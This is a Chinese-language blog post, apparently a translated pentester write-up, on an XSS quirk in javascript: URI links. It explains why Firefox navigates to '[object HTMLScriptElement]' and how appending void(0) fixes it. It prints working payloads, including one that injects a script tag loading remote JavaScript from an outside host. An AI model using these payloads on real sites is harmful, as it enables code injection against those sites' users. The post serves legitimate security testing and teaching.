JavaScript URI中的XSS奇技:浏览器差异与调试实战

本文探讨了通过JavaScript URI实现XSS攻击时遇到的一个奇怪问题,不同浏览器对JavaScript执行后的处理方式存在差异,导致攻击代码在某些环境下失效,通过调试和添加void(0)等技巧解决了问题。

JavaScript URI中的XSS奇技:浏览器差异与调试实战

最近,Ryan Dewhurst联系我,帮助他解决一个XSS问题。Ryan精通安全技术,如果他遇到困难,那一定是个有趣的挑战。

他能够将内容注入到JavaScript URI中,并试图找到完全利用它的方法。注入点如下:

1
<a href="javascript: <INJECT HERE>">Click Me</a>

通过注入一个alert,可以轻松证明XSS的存在,当点击链接时触发:

1
<a href="javascript: alert(1)">Click Me</a>

但当他尝试注入以下相当标准的代码,向DOM添加一个新的script标签时,遇到了一些问题。

1
2
3
4
var s = document.createElement('script');
s.type = 'text/javascript';
s.src = 'https://vuln-demo.com/jsquirk/xss.js';
document.head.appendChild(s);

代码在他的测试站点上运行良好(大家都会在客户端站点上测试前先在本地测试漏洞利用代码,对吧?),外部JS文件被加载,代码成功运行,但当它被放入客户端环境时,页面刷新并显示以下内容,而不是加载外部文件:

1
[object HTMLScriptElement]

我无法访问客户端站点,但能够确认示例代码在我这里正常工作,我们都感到困惑。我当时正在写报告,所以测试是在Chrome中进行的,我使用Chrome作为主要浏览器。为了帮助调试,我打开了Firefox、Burp和其他一些工具的测试环境,然后再次尝试测试代码。此时测试代码失败,我得到了与Ryan从客户端站点得到的相同响应。我问Ryan他使用什么浏览器,他说用Firefox访问客户端站点,但和我一样,在Chrome中查看了示例代码。当他在Chrome中针对客户端站点运行漏洞利用代码时,它按预期工作,JS被加载并正常运行。

经过一些调试,我们发现通过在漏洞利用代码的末尾添加alert或console.log,可以使它在Firefox和Chrome中都工作:

1
2
3
4
5
var s = document.createElement('script');
s.type = 'text/javascript';
s.src = 'https://vuln-demo.com/jsquirk/xss.js';
document.head.appendChild(s);
console.log("");

经过一些阅读,我发现如果你在链接上使用onclick事件,并想禁用链接本身,可以使用javascript: void(0)来终止它。在这个例子中,用void(0)替换log命令是有效的,并且还有一个额外的好处,不会向控制台写入任何额外内容。

根据我对这个主题的简要阅读,浏览器的反应应该基于最后运行的命令返回的内容。void(0)console.log("")alert(1)都返回undefined,这告诉浏览器不要对链接做出反应,而document.head.appendChild()返回添加到DOM中的元素,这不是undefined。基于此,我猜测Firefox在JavaScript执行后处理href时行为正确,而Chrome则表现得友好,假设你运行了一些JavaScript,可能不希望随后跟随链接。

出于好奇,我还尝试了在Edge和IE中测试代码。最初得到了一些混合的结果,两者都显示在有和没有尾随命令的情况下工作,但在清除缓存并从零开始后,两者似乎都以与Firefox相同的方式工作,需要尾随命令。

如果你想检查这一点,我在JSFiddle上设置了两个演示:

  • 没有最后的void(0)
  • 带有void(0)

在任何人跳出来喊“我会用不同的方式利用它”或“这种方式更好…”之前,当这次失败时,Ryan和我都想知道为什么。是的,有很多其他方式可以利用这一点,但学习为什么某些东西失败是一项非常有用的任务,练习在这种情况出现时调试它们有助于提高那些核心技能。

Ryan的一个额外说明是,他说这是Rails应用程序中的一个常见问题。由于Rails默认对大多数内容进行输出编码,开发人员不认为JavaScript(和“data”)URI是个问题,但这是Rails不自动编码的少数地方之一,因此任何传递给“link_to”助手的未验证输入都容易受到“javascript”和“data” URI XSS的攻击。

结论

除了指出这个特定的奇技之外,我希望这篇文章能突出浏览器之间的不同行为,所有这些浏览器都应该实现相同的标准。如果你正在开发一个概念验证,请确保在尽可能多的不同环境中测试它,并在报告中评论发现。你不希望花大量时间组装一个惊人的漏洞利用演示,结果发现它在Chrome中完美工作,但客户在Edge中查看时却不起作用。

同样,如果浏览器支持不普遍,你可能会觉得漏洞的风险级别应该改变;一个只能在Firefox中利用的漏洞可能对强制执行员工只使用IE的客户来说不是严重风险。

最后,如果某些东西第一次对你不起作用,或者不完全按你预期的方式工作,如果你有时间,请调查原因。花一些时间调试它,尝试理解问题,因为今天花费的这几分钟可能会在未来的测试中节省你数小时的时间。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计